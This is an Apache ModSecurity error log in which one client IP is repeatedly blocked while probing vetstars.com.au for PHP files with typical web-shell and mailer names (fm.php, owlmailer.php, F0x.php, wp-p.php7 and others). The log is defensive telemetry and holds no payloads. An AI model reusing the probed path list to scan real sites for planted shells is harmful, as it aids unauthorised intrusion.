[Mon Apr 13 03:13:57.852968 2026] [:error] [pid 32010:tid 32017] [client 20.151.218.28:37625] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php/sts.php"] [unique_id "advu9Q0nq-t9pXyV1fy_gQAAAMU"]
[Mon Apr 13 03:13:58.509933 2026] [:error] [pid 32010:tid 32027] [client 20.151.218.28:37834] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php/sts.php"] [unique_id "advu9g0nq-t9pXyV1fy_hAAAAM8"]
[Mon Apr 13 03:13:59.146078 2026] [:error] [pid 31606:tid 31722] [client 20.151.218.28:37768] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php/sts.php"] [unique_id "advu9z9vCsshNhLmCiCOtQAAAFA"]
[Mon Apr 13 03:14:00.033523 2026] [:error] [pid 31605:tid 31658] [client 20.151.218.28:37739] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php/sts.php"] [unique_id "advu-G9Py-Y-9VQ02eHfiAAAAA8"]
[Mon Apr 13 03:14:01.018168 2026] [:error] [pid 54671:tid 54679] [client 20.151.218.28:37629] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.tmb/cloud.php"] [unique_id "advu-WyJMmaONUqF0tCsrwAAAQQ"]
[Mon Apr 13 03:14:02.548851 2026] [:error] [pid 31605:tid 31644] [client 20.151.218.28:37874] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.tmb/cloud.php"] [unique_id "advu-m9Py-Y-9VQ02eHfiwAAAAE"]
[Mon Apr 13 03:14:05.208166 2026] [:error] [pid 54671:tid 54675] [client 20.151.218.28:37771] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.tmb/cloud.php"] [unique_id "advu_WyJMmaONUqF0tCsvwAAAQA"]
[Mon Apr 13 03:14:08.104983 2026] [:error] [pid 31605:tid 31646] [client 20.151.218.28:37877] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.tmb/cloud.php"] [unique_id "advvAG9Py-Y-9VQ02eHfmAAAAAM"]
[Mon Apr 13 03:14:11.273127 2026] [:error] [pid 31607:tid 31746] [client 20.151.218.28:37620] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/owlmailer.php"] [unique_id "advvA2jn_I-KYTWngjJO1wAAAIk"]
[Mon Apr 13 03:14:13.326251 2026] [:error] [pid 31605:tid 31656] [client 20.151.218.28:37696] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/owlmailer.php"] [unique_id "advvBW9Py-Y-9VQ02eHfqQAAAA0"]
[Mon Apr 13 03:14:14.445980 2026] [:error] [pid 31606:tid 31722] [client 20.151.218.28:37764] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/owlmailer.php"] [unique_id "advvBj9vCsshNhLmCiCOwQAAAFA"]
[Mon Apr 13 03:14:15.318105 2026] [:error] [pid 54671:tid 54685] [client 20.151.218.28:37736] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/owlmailer.php"] [unique_id "advvB2yJMmaONUqF0tCs3wAAAQo"]
[Mon Apr 13 03:14:16.260390 2026] [:error] [pid 54671:tid 54684] [client 20.151.218.28:37592] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/F0x.php"] [unique_id "advvCGyJMmaONUqF0tCs5QAAAQk"]
[Mon Apr 13 03:14:16.909525 2026] [:error] [pid 32010:tid 32016] [client 20.151.218.28:37795] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/F0x.php"] [unique_id "advvCA0nq-t9pXyV1fy_lwAAAMQ"]
[Mon Apr 13 03:14:17.473576 2026] [:error] [pid 31607:tid 31752] [client 20.151.218.28:37882] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/F0x.php"] [unique_id "advvCWjn_I-KYTWngjJO4wAAAI8"]
[Mon Apr 13 03:14:18.164018 2026] [:error] [pid 31605:tid 31664] [client 20.151.218.28:37654] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/F0x.php"] [unique_id "advvCm9Py-Y-9VQ02eHfrgAAABU"]
[Mon Apr 13 03:14:18.712892 2026] [:error] [pid 54671:tid 54690] [client 20.151.218.28:37886] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rlpc.php"] [unique_id "advvCmyJMmaONUqF0tCs6QAAAQ8"]
[Mon Apr 13 03:14:19.294311 2026] [:error] [pid 54671:tid 54692] [client 20.151.218.28:37808] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rlpc.php"] [unique_id "advvC2yJMmaONUqF0tCs6wAAARE"]
[Mon Apr 13 03:14:19.836017 2026] [:error] [pid 54671:tid 54696] [client 20.151.218.28:37854] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rlpc.php"] [unique_id "advvC2yJMmaONUqF0tCs7gAAARU"]
[Mon Apr 13 03:14:20.423136 2026] [:error] [pid 32010:tid 32032] [client 20.151.218.28:37728] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rlpc.php"] [unique_id "advvDA0nq-t9pXyV1fy_oAAAANQ"]
[Mon Apr 13 03:14:21.157930 2026] [:error] [pid 54671:tid 54677] [client 20.151.218.28:37724] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p.php7"] [unique_id "advvDWyJMmaONUqF0tCs8gAAAQI"]
[Mon Apr 13 03:14:21.948753 2026] [:error] [pid 54671:tid 54687] [client 20.151.218.28:37713] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p.php7"] [unique_id "advvDWyJMmaONUqF0tCs9wAAAQw"]
[Mon Apr 13 03:14:22.475030 2026] [:error] [pid 31607:tid 31760] [client 20.151.218.28:37652] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p.php7"] [unique_id "advvDmjn_I-KYTWngjJO6QAAAJc"]
[Mon Apr 13 03:14:23.094635 2026] [:error] [pid 32010:tid 32036] [client 20.151.218.28:37817] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p.php7"] [unique_id "advvDw0nq-t9pXyV1fy_owAAANg"]
[Mon Apr 13 03:14:23.923259 2026] [:error] [pid 32010:tid 32031] [client 20.151.218.28:37648] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sale.php"] [unique_id "advvDw0nq-t9pXyV1fy_pwAAANM"]
[Mon Apr 13 03:14:24.957478 2026] [:error] [pid 31606:tid 31731] [client 20.151.218.28:37778] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sale.php"] [unique_id "advvED9vCsshNhLmCiCOzAAAAFg"]
[Mon Apr 13 03:14:25.624075 2026] [:error] [pid 32010:tid 32035] [client 20.151.218.28:37576] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sale.php"] [unique_id "advvEQ0nq-t9pXyV1fy_rAAAANc"]
[Mon Apr 13 03:14:26.739868 2026] [:error] [pid 31605:tid 31662] [client 20.151.218.28:37607] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sale.php"] [unique_id "advvEm9Py-Y-9VQ02eHfvwAAABM"]
[Mon Apr 13 03:14:27.991585 2026] [:error] [pid 54671:tid 54681] [client 20.151.218.28:37884] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ran.php"] [unique_id "advvE2yJMmaONUqF0tCtBQAAAQY"]
[Mon Apr 13 03:14:30.375075 2026] [:error] [pid 31605:tid 31657] [client 20.151.218.28:37847] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ran.php"] [unique_id "advvFm9Py-Y-9VQ02eHfywAAAA4"]
[Mon Apr 13 03:14:30.959562 2026] [:error] [pid 31605:tid 31667] [client 20.151.218.28:37839] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ran.php"] [unique_id "advvFm9Py-Y-9VQ02eHf1AAAABg"]
[Mon Apr 13 03:14:32.010697 2026] [:error] [pid 31606:tid 31712] [client 20.151.218.28:37765] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ran.php"] [unique_id "advvGD9vCsshNhLmCiCO1gAAAEY"]
[Mon Apr 13 03:14:32.655196 2026] [:error] [pid 31606:tid 31728] [client 20.151.218.28:37873] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k90.php"] [unique_id "advvGD9vCsshNhLmCiCO2wAAAFY"]
[Mon Apr 13 03:14:33.331935 2026] [:error] [pid 31605:tid 31646] [client 20.151.218.28:37887] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k90.php"] [unique_id "advvGW9Py-Y-9VQ02eHf2gAAAAM"]
[Mon Apr 13 03:14:33.859431 2026] [:error] [pid 54671:tid 54693] [client 20.151.218.28:37767] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k90.php"] [unique_id "advvGWyJMmaONUqF0tCtDQAAARI"]
[Mon Apr 13 03:14:34.395344 2026] [:error] [pid 54671:tid 54686] [client 20.151.218.28:37813] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k90.php"] [unique_id "advvGmyJMmaONUqF0tCtEAAAAQs"]
[Mon Apr 13 03:14:34.951571 2026] [:error] [pid 54671:tid 54684] [client 20.151.218.28:37638] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/taff.php"] [unique_id "advvGmyJMmaONUqF0tCtEgAAAQk"]
[Mon Apr 13 03:14:35.588102 2026] [:error] [pid 32010:tid 32015] [client 20.151.218.28:37803] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/taff.php"] [unique_id "advvGw0nq-t9pXyV1fy_sgAAAMM"]
[Mon Apr 13 03:14:36.354411 2026] [:error] [pid 32010:tid 32014] [client 20.151.218.28:37864] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/taff.php"] [unique_id "advvHA0nq-t9pXyV1fy_tgAAAMI"]
[Mon Apr 13 03:14:37.732057 2026] [:error] [pid 32010:tid 32023] [client 20.151.218.28:37575] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/taff.php"] [unique_id "advvHQ0nq-t9pXyV1fy_uwAAAMs"]
[Mon Apr 13 03:14:38.595174 2026] [:error] [pid 32010:tid 32024] [client 20.151.218.28:37635] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/set.php"] [unique_id "advvHg0nq-t9pXyV1fy_wAAAAMw"]
[Mon Apr 13 03:14:39.593409 2026] [:error] [pid 54671:tid 54695] [client 20.151.218.28:37772] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/set.php"] [unique_id "advvH2yJMmaONUqF0tCtJQAAARQ"]
[Mon Apr 13 03:14:40.326441 2026] [:error] [pid 54671:tid 54675] [client 20.151.218.28:37634] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/set.php"] [unique_id "advvIGyJMmaONUqF0tCtJwAAAQA"]
[Mon Apr 13 03:14:40.987349 2026] [:error] [pid 54671:tid 54693] [client 20.151.218.28:37669] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/set.php"] [unique_id "advvIGyJMmaONUqF0tCtKgAAARI"]
[Mon Apr 13 03:14:41.735600 2026] [:error] [pid 54671:tid 54681] [client 20.151.218.28:37579] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/133.php"] [unique_id "advvIWyJMmaONUqF0tCtMgAAAQY"]
[Mon Apr 13 03:14:42.462075 2026] [:error] [pid 54671:tid 54679] [client 20.151.218.28:37848] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/133.php"] [unique_id "advvImyJMmaONUqF0tCtNgAAAQQ"]
[Mon Apr 13 03:14:43.184939 2026] [:error] [pid 31605:tid 31661] [client 20.151.218.28:37760] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/133.php"] [unique_id "advvI29Py-Y-9VQ02eHf4QAAABI"]
[Mon Apr 13 03:14:44.481733 2026] [:error] [pid 31607:tid 31741] [client 20.151.218.28:37653] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/133.php"] [unique_id "advvJGjn_I-KYTWngjJPBQAAAIQ"]
[Mon Apr 13 03:14:46.206505 2026] [:error] [pid 31605:tid 31663] [client 20.151.218.28:37857] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ssxsl.php"] [unique_id "advvJm9Py-Y-9VQ02eHf4gAAABQ"]
[Mon Apr 13 03:14:48.361233 2026] [:error] [pid 31605:tid 31645] [client 20.151.218.28:37718] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ssxsl.php"] [unique_id "advvKG9Py-Y-9VQ02eHf4wAAAAI"]
[Mon Apr 13 03:14:49.806369 2026] [:error] [pid 31605:tid 31648] [client 20.151.218.28:37792] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ssxsl.php"] [unique_id "advvKW9Py-Y-9VQ02eHf5gAAAAU"]
[Mon Apr 13 03:14:51.325636 2026] [:error] [pid 31605:tid 31666] [client 20.151.218.28:37806] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ssxsl.php"] [unique_id "advvK29Py-Y-9VQ02eHf6wAAABc"]
[Mon Apr 13 03:15:35.974449 2026] [:error] [pid 54671:tid 54686] [client 20.151.218.28:37861] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "advvV2yJMmaONUqF0tCt4QAAAQs"]
[Mon Apr 13 03:15:37.584497 2026] [:error] [pid 54671:tid 54680] [client 20.151.218.28:37641] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "advvWWyJMmaONUqF0tCt5wAAAQU"]
[Mon Apr 13 03:15:38.980649 2026] [:error] [pid 32010:tid 32013] [client 20.151.218.28:37853] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "advvWg0nq-t9pXyV1fzAJgAAAME"]
[Mon Apr 13 03:15:40.249892 2026] [:error] [pid 54671:tid 54688] [client 20.151.218.28:37829] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "advvXGyJMmaONUqF0tCt6wAAAQ0"]
[Mon Apr 13 03:15:42.335599 2026] [:error] [pid 54671:tid 54682] [client 20.151.218.28:37773] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/afile.php"] [unique_id "advvXmyJMmaONUqF0tCt8AAAAQc"]
